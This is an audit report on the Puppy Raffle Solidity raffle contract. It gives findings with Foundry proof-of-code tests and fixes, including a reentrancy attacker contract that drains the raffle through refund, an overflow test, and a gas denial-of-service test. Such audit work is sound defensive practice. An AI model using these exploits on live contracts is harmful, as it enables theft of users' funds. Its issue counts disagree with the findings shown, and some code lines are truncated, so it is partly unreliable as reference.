findings06-01-2024.md

title	author	date	header-includes
Protocol Audit Report	Greater Heights	January 4, 2024	- \usepackage{titling} - \usepackage{graphicx}

Puppy Raffle Audit Report

Prepared by: Greater Heights Computer

Security Research: Adebara Khadijat

- Greater Heights Computer

Assisting Auditors:

- None

Table of contents

See table

    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached

- Informational / Non-Critical
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recommended
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - [I-5] Type cast this operator with address type to get the contract balance is an efficient way of writting code
  - [I-6] Use of "magic" numbers is discouraged
  - [I-7] Event is missing `indexed` fields
  - [I-8] Missing event when `PuppyRaffle::feeAddress` state variable updated
  - [I-9] `PuppyRaffle::_isActivePlayer` is a function never used and should be removed
  - [I-10] Test Coverage
- Gas (Optional)

About Greater_Heights_Computer

At Greater Heights Computer we have passionate, dedicated, season Security Researchers that make sure that vulnerabilites are detecte in your codebases.

Disclaimer

The Greater Heights Computer team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

	Impact		
	High	Medium	Low

		Impact		
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

`ff36564c109258385b665dccb00937167d72004a`

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Gas	2
Info	9

Severity	Number of issues found
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array of address.

```
        function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund")
            require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or i

@>          payable(msg.sender).sendValue(entranceFee);
@>          players[playerIndex] = address(0);

            emit RaffleRefunded(playerAddress);
        }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle contract balance.

Proof of Code:

Proof of Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attacker
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ", startingAttackContractBalance);
        console.log("starting contract balance: ", startingContractBalance);

        console.log("ending attacker contract balance: ", address(attackerContract).balance)
        console.log("ending contract balance", address(puppyRaffle).balance);
    }
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
```

```
    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: Additionally users could front-run this function call `refund` if they see they are not the winner.

Impact: Allow any user to influence or predict winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF (Verifiable Random Function).

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integer overflow were subject to reset to 0.

```
uint64 myVar = type(uint64).max
//18.446744073709551615
myVar = myVar + 1;
//myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. Howerver, if the `totalFees` variable overflows, the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000;
// and this will overflow!
totalFees = 153255926290448384;
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), 'PuppyRaffle: There are currently players active!');
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the value to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of Solidity that does not allow integer overflows by default and also revert the transaction if their integer over.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

2. Use a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees` state variable.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. You could also use the `SafeMeth` library of OpenZepplin for version `0.7.6` of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
4. Change the balance check from `PuppyRaffle::withdrawFees` function like this;

```
-   require(address(this).balance == uint256(totalFees), 'PuppyRaffle: There are currently p
+   require(address(this).balance >= uint256(totalFees), 'PuppyRaffle: There are currently p
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array of address to check for duplicates in `PuppyRaffle::enterRaffle` function is a potential denial of service (DoS) attack, incrementing gas costs for the future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array of address to check for duplicate address. However, the longer the `PuppyRaffle::players` array of address is, the more checks loop through the array. This means the gas costs for players who enter right when the raffle start will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. This could lead to revert of transaction has the gas cost can be higher than block gas limit.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas

This second 100 players gas cost will be 3x more expensive than that of the first 100 players.

Proof of Code Place the following test into ‘PuppyRaffleTest.t.sol‘

```
```javascript
function test_denialOfService() public {
```
```

```
    vm.txGasPrice(1);

    //for the first 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i); //push the 100 playersNum onto players array of address
    }
    //see how much gas it costs
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the first 100 players: ", gasUsedFirst);

    //for the second 100 players
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum); //->push 101 to 200 playerNum onto players
    }
    //see how much gas it costs
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("Gas cost of the second 100 players: ", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
}
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, its only prevent same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
.
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough
        for (uint256 i = 0; i < newPlayers.length; i++) {
```

```diff
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
-        // Check for duplicates only for the new player(s)
+        for (uint256 i = 0; i < players.length - 1; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate pl
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle no
}
```

Alternatively, you could use [OpenZepplin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).

[M-2] Unsafe overflow of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` value is larger that `type(uint64).max` value, the value will be truncated.

uint64 totalFees state variable should be change to uin256 totalFees.

```diff
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
```

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle no
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee);
```

```
}
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that reject payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of address -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the ownes on the winner to claim their prize. (Recommended)

   Using Pull over Push Pattern to avoid malicious user reverting payment which may lead unable to reset or restart the lottery.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle:player` array of index 0, the player will be inactive because of the functionality of `PuppyRaffle::getActivePlayerIndex` function.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
```

```
        }
    }

    return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Description: Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Recommendation: Cache the lengths of storage arrays if they are used and not modified in for loops.

Informational / Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 70

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 192

  ```
          previousWinner = winner; // e vanity thing, doesn't matter much (store the curr
  ```

- Found in src/PuppyRaffle.sol Line: 215

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```diff
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
+        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Type cast this operator with address type to get the contract balance is an efficient way of writting code.

```diff
-   uint256 totalAmountCollected = players.length * entranceFee;
+   uint256 totalAmountCollected = address(this).balance;
```

[I-6] Use of "magic" numbers is discouraged

Description: It can be confusing to literal numbers in a codebase, and it's much more readable if the numbers are given a variable name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

instead you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-7] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 59

  ```
  event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 60

  ```
  event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 61

  ```
  event FeeAddressChanged(address newFeeAddress);
  ```

[I-8] Missing event when `PuppyRaffle::feeAddress` state variable updated

Description: When `feeAddress` state variable is updated in `PuppyRaffle::changeFeeAddress` function event is not emitted, this will make external or off-chain tool not to have access to `feeAddress` updated state variable.

```
     function changeFeeAddress(address newFeeAddress) external onlyOwner {
        feeAddress = newFeeAddress;
-       emit FeeAddressChanged(newFeeAddress);
+       emit FeeAddressChanged(feeAddress, newFeeAddress);
    }
```

[I-9] `PuppyRaffle::_isActivePlayer` is a function never used and should be removed

The function above was never use in the protocol and its lead to wastage of gas.

[I-10] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	% Branches	%
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67% (20/30)	77
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00% (1/2)	10
Total	80.60% (54/67)	81.52% (75/92)	65.62% (21/32)	75

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.